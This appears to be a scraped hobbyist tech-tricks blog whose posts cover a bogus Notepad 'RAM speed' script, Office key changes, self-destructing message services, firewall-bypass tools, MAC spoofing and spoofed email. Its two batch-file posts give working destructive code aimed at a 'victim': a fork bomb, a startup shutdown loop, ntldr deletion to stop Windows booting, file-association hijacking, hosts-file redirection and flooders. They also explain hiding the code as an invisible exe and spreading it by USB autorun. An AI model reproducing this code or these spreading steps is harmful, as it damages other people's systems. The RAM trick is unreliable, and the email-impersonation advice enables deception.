A Simple Notepad Trick to Increase RAM Speed in a Computer

Is your computer running slow? Is it too slow that the Windows takes more time to start up? The speed of your system depends heavily on the amount of RAM installed and the operability of that RAM. If your computer is lagging or if applications are running slowly, you might have faulty RAM or not enough RAM for the amount of data you're storing.

Looking for a alternative to speed up your computing experience without having to buy a new computer? 

I was wondering if it was possible to increase RAM speeds at smaller increments than what is available in my BIOS settings. And. the question is .... Is there anything I can do to increase the speed of my RAM? Of course YES. A lot of method do exists. But, for now I am not going to discuss all of them on this post. What i am going to do is to show you the way of using a notepad to speed RAM (as simple as it is....isn't it?).

Come on let's try this out.....This notepad tricks make to clean your RAM space and boost up the computer speed.

Steps:

(1) Open "Notepad"

(2) Copy below code and paste it in Notepad.

           

         FreeMem=Space(64000000)

(3) Save Notepad file with “.vbs” extension. (Example: WipeRAM.vbs ).

(4) Close Notepad and Run this file.

Note: You can change RAM memory cleaning command depending upon your RAM size.

Example:

FreeMem= (256000000) - for 256 mb

FreeMem= (128000000) - for 128 mb

FreeMem= (72000000) - for 72 mb

FreeMem= (64000000) - for 64 mb

FreeMem= (32000000) - for 32 mb

FreeMem= (24000000) - for 24 mb

Precautions: Don't select the space that is larger than your RAM capacity.

Techniques and Tricks to Change Product Key of Microsoft Office 2013

As I understand many of you are trying to change the product key for the Office suite. Please refer the suggestions in the following and check if it helps you to get your fully activated Office package.

Process 1:

It can be done via the command line.  Open up a Command Prompt (Press the Windows Button and type CMD or navigate to All Programs -> Accessories -> Command Prompt).  Then you just need to use the command below that matches your OS.

For 32 bit Windows:

cscript "C:\Program Files\Microsoft Office\Office15\OSPP.VBS" /inpkey:yourkeygoeshere 

For 64 bit Windows (assuming you are using 32 bit Office):

cscript "C:\Program Files (x86)\Microsoft Office\Office15\OSPP.VBS" /inpkey:yourkeygoeshere

Obviously, you need to replace yourkeygoeshere with your product key.

Note:  If you are installing a 64 bit version of Office on 64 bit Windows, the command for 32 bit Windows should be used (or just delete the (x86) part since it won't be installing to the C:\Program Files (x86)\ directory).

Process 2:

Click on the button to open the Start Menu. Now, click on the Control Panel and then click on Programs (Uninstall a program), and finally click on Program and Features.

(Windows XP users: Start > Control Panel > Add or Remove Programs.)

From the list of installed programs, find Microsoft Office Professional Plus 2013 (or your installed version of Office 2013) or Microsoft Office 2010 (or your installed version of Office 2010), which ever’s key you want to change, select it and then click on Change.

From the newly opened dialog box, select the Enter a Product Key option, and then click Continue.

Type your new product key and check the option that says Attempt to automatically activate my product online to automatically activate your Office 2013 or Office 2010 suite. Now click on Continue and then on Install Now.

Note: Your computer must be connected to the Internet if you want to reactivate Office 2013 or Office 2010 online.You can also activate Office 2013 or Office 2010 later by running any Office 2010 app, and then clicking on the File tab > Help.

How To Send Self Destructive Messages & Emails To Others?

So guys would you love to send some messages or mails to a friend that self-destructs after it has been read so that no one else can ever see that again???? There are many web applications that offer an easy solution.  

(1) Burn Note

Burn Note keeps your conversations private. All messages self-destruct and are resistant to copying. Every message on Burn Note is automatically deleted and uses patent-pending technology to prevent copying. Deleted Burn Notes are completely erased from the Burn Note servers so it impossible for anyone to retrieve them. 

Visit the site here for more information

(2) Privnote

Privnote is a free web based service that allows you to send top secret notes over the internet. It's fast, easy, and requires no password or user registration at all.

Just write your note, and you'll get a link. Then you copy and paste that link into an email (or instant message) that you send to the person who you want to read the note. When that person clicks the link for the first time, they will see the note in their browser and the note will automatically self-destruct; which means no one (even that very same person) can read the note again. The link won't work anymore.

Visit the site here for more information

(3) Dashlane Courier

Dashlane Courier is a brand-new, easy way to securely send data to others. The launch of this service enables simple, secure sharing for web account logins/passwords and secure notes. You’ll never have to send this info in plain-text form via email again!

You can send a Courier share to users and non-users alike. And as with everything else in Dashlane, the data is ciphered with AES-256 and deciphered locally when opened by the recipient; after viewing, the encrypted data is deleted from the server.  What this means is that after clicking to view the Courier message, the recipient has only 30 minutes to interact with the content before it self-destructs.

Visit the site here for more information

(4) Google Docs

It takes a some time to convert a Google Docs sheet into a self-destructing one. Click here to make a copy of the Google sheet in your own account. Once the sheet is auto-cleared, type your secret message anywhere inside the sheet and hit the Share button to send it to a friend. Make sure the permission is set to “Can Edit” in the sharing window.

Your friend opens the sheet, reads the message and after 10 seconds, the entire sheet on his screen will clear itself. If you wish to send another self-destructing message, create a copy of the original sheet and repeat the steps.

(5) DestructingMessage.com
DestructingMessage.com is a free service which enables you to send a self-destructing message to someone. This means, once they read the message they will no longer be able to read it again after the timer has reached zero. This ensures your message is read by no one but the reader and all evidence of the message is erased. Messages are also anonymous unless you add any identifiable information to your message.

Visit the site here for more information

(6) NoteDip

NoteDIP is a new way of sharing secret messages over Internet. Messages shared with the help of NoteDIP will be destroyed just after being read. So you do not need to worry about the security. Data will only be available with the person you are sharing the message and only for one time. Most important thing is that NoteDIP is free and does not need any registration.

Visit the site here for more information

There are many more services, and applications which will let you send self destruct messages.If you know more about those services which let us send self destructing messages and emails, let me know through your valuable comments.

How To Bypass Network Firewall?

More and more employers and universities are becoming aware of the amount of time their employees or students are spending using the Internet for personal reasons. Obviously employers want to discourage this behavior and may implement a number of different ways to do so. These can include:

• Restricting people from installing programs on their workstation. This usually won't stop someone from accessing websites, but it may keep people from playing games or using instant messaging software.
• 
  
• Using a firewall or proxy server to restrict access to websites or other Internet protocols. All your Internet communication passes through your network's firewall, so it's a great place to monitor and restrict access.
• 
  
• Using a network monitoring system to "spy" on Internet access. This is a form of firewall monitoring, where your employer can intercept and read/save anything flowing through their firewall.

Installing programs on workstations that monitor Internet access. This is probably the toughest thing to get around because there are so many different vendors that offer this type of software. In addition, there is software that simply records every keystroke you press. In most cases, there's no way around this other than disabling the software.

Today I am sharing with you some Free Tools to bypass firewalls and access blocked websites that will make sure that you get to visit those websites blocked by your country ISPs or network firewalls.

1. UltraSurf (Link)

UltraSurf is the flagship software product from UltraReach for Internet anti-censorship. It enables users inside countries with heavy Internet censorship to visit any public web sites in the world safely and freely. It enables users to browse any website freely just the same as using the regular browser while it automatically searches the highest speed proxy servers in the background.

2. GPass (Link)

Hide your IP address during web surfing. Support streaming audio/video, email, instant messaging, download managers, etc. Break through Internet blocking. Easy-to-use graphical user interface.

3. FreeGate (Link)

FreeGate is an anti-censorship client software for a secure and faster internet. Users access web sites overseas as fast as their local ones. It requires no installation or change in system setting. FreeGate works together with DynaWeb, a P2P-like proxy network system.

4. Garden GTunnel (Link)

GTunnel is a Windows application that works as a local HTTP or SOCKS proxy server. After setting proxy to GTunnel in web browser or other Internet applications, the traffic will go through GTunnel and our server farm before it reaches its original destination.

5. JAP (Link)

JAP makes it possible to surf the internet anonymously and unobservably. Instead of connecting directly to a webserver, users take a detour, connecting with encryption through several intermediaries, so-called Mixes. JAP uses a predetermined sequence for the mixes. Such a sequence of linked mixes is called a Mix Cascade. Users can choose between different mix cascades.

6. Your Freedom (Link)

Your Freedom services makes accessible what is unaccessible to you, and it hides your network address from those who don’t need to know. It turns your own PC into an uncensored, anonymous web proxy and an uncensored, anonymous SOCKS proxy that your applications can use, and it can even get you connected to the Internet just as if you were using an unrestricted DSL or cable connection.

7. Hopster (Link)

Hopster is all about open, safe and uncensored internet access. At home, schools, universities and offices worldwide, even in countries where Freedom of Speech is a political challenge. Hide your real IP address and protect yourself from nosy people and wannabe-hackers.

8. Freenet (Link)

Freenet is free software which lets you publish and obtain information on the Internet without fear of censorship. To achieve this freedom, the network is entirely decentralized and publishers and consumers of information are anonymous. Without anonymity there can never be true freedom of speech, and without decentralization the network will be vulnerable to attack.

9. Tor (Link)

Tor is a software project that helps you defend against traffic analysis, a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security. Tor works with many of your existing applications, including web browsers, instant messaging clients, remote login, and other applications based on the TCP protocol.

10. HotSpot Shield (Link)

HotSpot Shield creates a secure virtual private network (VPN) over your connection allowing you to bypass any ISP firewalls and lets you visit even those websites which are blocked by your ISP. It can also be used to visit those websites which are specifically meant for US users e.g. Pandora, Hulu etc.

Part 2 : Are Batch Files Dangerous To Our System?

Hi all once again welcome back to my blog....we were discussing on the effect of batch file in our system and were looking after some batch codes...let's continue..

4. Fork Bomb

%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

5. Shutdown Virus

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”

copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”

These two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00

This will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Sta rt Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

6. Deleting boot files

Goto C drive in Win XP , Tools->Folder Option->View.

Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'.

Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

Lets make a batch file to delete this file from victim's computer and the windows will not start then.

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively

del ntldr //delete ntldr file

After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

7. Extension Changer

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything

Every extension is associated with a file type like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint, games, command prompt and many more), jpeg, png, mpeg files wouldn’t open properly.

8. DNS Poisoning

There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.

@echo off

echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.

Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he would try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.

Note : Most of the batch viruses are simply undetectable by any anitiviruses

Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses:

1.Victim can easily read the commands by opening batch file in notepad.

2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

You can download the software "Bat To Exe Converter".

After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.

You can use other options as per your requirement.

Spreading batch viruses through pen drive:

Step 1.

Open notepad and write

[autorun]

open=anything.bat

Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

Part 1 : Are Batch Files Dangerous To Our System?

What is a Batch File?

In DOS, OS/2, and Microsoft Windows, a batch file is a text file containing a series of commands intended to be executed by the command interpreter. Similar to job control language and other systems on mainframe and minicomputer systems, batch files were added to ease the work required for certain regular tasks by allowing the user to set up a batch script to automate many commands. When a batch file is run, the shell program (usually COMMAND.COM or cmd.exe) reads the file and executes its commands, normally line-by-line. Batch files are useful for running a sequence of executables automatically and are often used to automate repetitive or tedious processes.

DOS batch files have the filename extension .bat. Batch files for other environments may have different extensions, e.g. .cmd or .bat in the Microsoft Windows NT-family of operating systems and OS/2, or .btm in 4DOS and 4NT related shells.

What Can Batch File Do?

They can be used to delete the windows files, format data, steal information, irritate victim, consume CPU resources to affect performance, disable firewalls, open ports, modify or destroy registry and for many more purposes.

Some Simple Codes Worth Trying:

Just copy the code to notepad and save it as givenameurself.bat (You can give any name you wish but extension must be "bat" and save it as 'all files' instead of text files).

1. Application Bomber

@echo off // It instructs to hide the commands when batch files is executed

:x //loop variable

start winword

start mspaint //open paint

start notepad

start write

start cmd //open command prompt

start explorer

start control

start calc // open calculator

goto x // infinite loop

This code when executed will start open different applications like paint, notepad, command prompt repeatedly, irritating victim and of course affecting performance.

2. Folder flooder

@echo off

:x

md %random% // makes directory/folder.

goto x

Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

3. User account flooder 

@echo off

:x

net user %random% /add //create user account

goto x

This code would start creating windows user accounts whose names could be any random numbers.

How to Change Mac Address of Computer having Windows OS?

What is MAC?

A Media Access Control address (MAC address) is a unique identifier assigned to network interfaces for communications on the physical network segment. MAC addresses are most often assigned by the manufacturer of a network interface card (NIC) and are stored in its hardware, the card's read-only memory, or some other firmware mechanism. If assigned by the manufacturer, a MAC address usually encodes the manufacturer's registered identification number. It may also be known as an Ethernet hardware address (EHA), hardware address, adapter address, or physical address. An Ethernet MAC address is a six byte number, usually expressed as a twelve digit hexadecimal number.(Example - 4A:BC:C2:04:AB:1F).

Although intended to be a permanent and globally unique identification, it is possible to change the MAC address on most of today's hardware, an action often referred to as MAC spoofing. Unlike IP address spoofing, where senders spoofing their address in a request direct the receiver into sending the response elsewhere, in MAC address spoofing, the response is received by the spoofing party. However, MAC address spoofing is limited to the local broadcast domain.

Most Internet subscriptions allow the customer only a single IP address. The Internet Service Provider (ISP) may assign one static (fixed) IP address to each customer. However, this approach is an inefficient use of IP addresses that are currently in short supply. The ISP more commonly issues each customer dynamic IP address that may change each time the customer connects to the Internet.

ISPs ensure each customer receives only one dynamic address using several methods. Dial-up and many DSL services typically require the customer to log in with a username and password. Cable modem services, on the other hand, do this by registering and tracking the MAC address of the device that connects to the ISP.

The device whose MAC address is monitored by an ISP can be either the cable modem, a broadband router, or the PC that hosts the Internet connection. The customer is free to build a network behind this equipment, but the ISP expects the MAC address to match the registered value at all times.

Whenever a customer replaces that device, however, or changes the network adapter inside it, the MAC address of this new equipment will no longer match the one registered at the ISP. The ISP will often disable the customer's Internet connection for security (and billing) reasons.

Although MAC addresses do not reveal any geographic location information like IP addresses do, changing MAC addresses may improve your Internet privacy in some situations. There is a software available which can be used for changing mac address.

Technique 1: A Hard Way

Under Windows XP, the MAC address can be changed in the Ethernet adapter's Properties menu, in the Advanced tab, as "MAC Address", "Locally Administered Address", "Ethernet Address" or "Network Address". The exact name depends on the Ethernet driver used; not all drivers support changing the MAC address in this way.

However, a better solution - requiring Administrative User Rights - is to pass over the System Registry Keys under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Here settings for each network interface can be found. The contents of the string value called 'NetworkAddress' will be used to set the MAC address of the adapter when next it is enabled. Resetting the adapter can be accomplished in script with the freely available command line utility devcon from Microsoft, or from the adapters context menu in the Network Connections control panel applet.

Note: to check your MAC address easily on a Windows XP box, go to Run, type CMD, then type "ipconfig /all" without quotation in the command prompt. The number under physical address is the MAC address. If multiple IP are displayed, you should look under the label "Ethernet adapter x", where x is the name of your connection (which is Local Area Connection by default).

Technique 2: Try these softwares.

Changing the MAC address in Windows 2000 and XP

Method 1:

This is depending on the type of Network Interface Card (NIC) you have. If you have a card that doesn’t support Clone MAC address, then you have to go to second method.

• Go to Start->Settings->Control Panel and double click on Network and Dial-up Connections.
• Right click on the NIC you want to change the MAC address and click on properties.
• Under “General” tab, click on the “Configure” button
• Click on “Advanced” tab
• Under “Property section”, you should see an item called “Network Address” or "Locally Administered Address", click on it.
• On the right side, under “Value”, type in the New MAC address you want to assign to your NIC. Usually this value is entered without the “-“ between the MAC address numbers.
• Goto command prompt and type in “ipconfig /all” or “net config rdr” to verify the changes. If the changes are not materialized, then use the second method.
• If successful, reboot your systems.

Method 2:

This method requires some knowledge on the Windows Registry. If you are not familiar with Windows Registry, just use the SMAC tool (Mentioned in my yesterday post) to change the MAC addresses, or consult with a technical person before you attempt on the following steps. Also, make sure you have a good backup of your registry.

A. Goto command prompt and type “ipconfig /all”, and

• Record the Description for the NIC you want to change.
• Record the Physical Address for the NIC you want to change. Physical Address is the MAC Address

                                                                                  Fig 1
B. Goto command prompt and type “net config rdr”, and you should see something like

                                                                             Fig 2
C. Remember the number between the long number (GUID) inside the { }. For example, in the above “net config rdr” output, for MAC address “00C095ECB793,” you should remember {1C9324AD-ADB7-4920-B02D-AB281838637A}. You can copy and paste it to the Notepad, that’s probably the easiest way. (See figure 2)

D. Go to Start -> Run, type “regedt32” to start registry editor. Do not use “Regedit.”

E. Do a BACKUP of your registry in case you screw up the following steps. To do this

• Click on “HKEY_LOCAL_MACHINE on Local Machine” sub-window
• Click on the root key “HKEY_LOCAL_MACHINE”.
• Click on the drop-down menu “Registry -> Save Subtree As” and save the backup registry in to a file. Keep this file in a safe place.

F. Go to “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Double click on it to expand the tree. The subkeys are 4-digit numbers, which represent particular network adapters. You should see it starts with 0000, then 0001, 0002, 0003 and so on. (See figure 3)

                                                                              Fig 3
G. Go through each subkey that starts with 0000. Click on 0000, check DriverDesc keyword on the right to see if that's the NIC you want to change the MAC address. The DriveDesc should match the Description you recorded from step (a.-I.). If you are not 100% sure about the DriverDesc, then you can verify by checking if the NetCfgInstanceID keyword value matches the GUID from step (c).

If there is no match, then move on to 0001, 0002, 0003, and so on, until you find the one you want. Usually 0000 contains the first NIC you installed on the computer. In this demonstration, 0000 is the NIC I selected. (See figure 3)

H. Once you selected the subkey (i.e. 0000), check if there is a keyword "NetworkAddress" exist in the right side of the window. (See figure 3)

a. If "NetworkAddress" keyword does not exist, then create this new keyword:

•  Click on the drop down menu “Edit -> Add Value”.
•  In the Add Value window, enter the following value then click OK. (See figure 4)

                           Value Name: = NetworkAddress
                           Data Type: = REG_SZ

                                                                               Fig 4

• String Editor window will pop up at this time (see figure 5)
• Enter the new MAC address you want to modify. Then click OK. (There should not be any "-" in this address. Your entry should only consist of 12 digits as seen in the figure 5)

b. If "NetworkAddress" keyword exists, make sure it shows the keyword type is REG_SZ, and it should show as NetworkAddress:REG_SZ: . This keyword might not have a value at this time.

• Double click on the keyword NetworkAddress and the String Editor window will pop up. (See Figure 5)
• Enter the new MAC address you want to modify. Then click OK. (There should not be any "-" in this address. Your entry should only consist of 12 digits as seen in the figure 5)

                                                                                Fig 5
J. There are 2 ways to make the new MAC address active. Method I does not require a system reboot:


a. Goto Start->Setting->Control Panel, and double click on "Network Neighborhood".
  
WARNING: Make sure you understand that you WILL lose the network connection after completing step "ii." below, and if you have a DHCP client, you will get a new IP address after completing step "iii."

• Select the Network Adaptor you just changed the MAC address.
• Right click on the selected Network Adaptor and click "Disable." Verify the status column for this adaptor changes to "Disabled"
• Right click on the selected Network Adaptor and click "Enable." Verify the status column for this adaptor changes to "Enabled"
•  If for any reason it cannot be disabled or re-enabled, you have to reboot your system to make the changes effective.

b. Reboot your Windows system.

K. Once completing step j (if rebooting the system, wait until the reboot is completed), go to command prompt, type “ipconfig /all” to confirm the new MAC address.

Restore The TRUE Hardware burned-in MAC Address:

a. Remove the entry you added:

• If you followed Method 1, then go back to the advanced properties window and remove the entry you add.
• If you followed Method 2, then remove the "NetworkAddress" keyword you added in the registry.

b. Use step (J) above to activate the change you make.

c. Once rebooted, go to command prompt, type “ipconfig /all” to confirm the original MAC address.

If MAC Address changes does not work:

If for whatever reason the MAC address cannot be changed using method 2, make sure you restore the registry setting by following the "Restore The TRUE Hardware burned-in MAC Address" instruction above. If necessary, restore the registry you just backed-up to get your system back to the original state. You can do this by clicking on the drop-down menu “Registry->Restore,” and restore your backup registry file.

How To Skip The Rapidshare Download Timer ?

 RapidShare is one such highly popular reliable file hosting service, I have used it many times when ever I wanted to share files with friends. But when it comes to downloading it has some very strict rules that you cannot use download accelerators unless you have a premium paid RapidShare account, another annoying thing which comes across when you download files from RapidShare is the countdown timer.

How To Send Fake Emails From Any Anonymous Email IDs

Well I was browsing and i found this cool thing. FAKE E-MAIL is a website to send anonymous emails meaning you can send anybody a mail from any body’s email address. With this website you can send emails, using any name you feel like, and as it asks for the sender’s email address, so you can also receive the reply in your inbox.

Here is the link for you: Fake Email

Just follow these simple steps:

1. Type the email id you want to send the email from .

2. Type in the email you would like to send it to

3. Type The message you want.

4. Now send it.

5. Check your inbox. See below:

My Experience with Fake Email:

It can be used for sending quick mails, esp. in a case when due to some reasons you are not able to log-in into your mail account. It can be used for sending inappropriate mails, as sender’s email address is mandatory, but there is no check on authenticity of the email address. But be careful, your ip and location can be traced, so, don’t misuse the service. You can play a prank on your friends.

However, using this service for some pranks to your known friends or using it as quick replacement of your mail account is not at all a bad idea, but I don’t find it useful for any other purpose. What do you think about it?

Have Fun!!
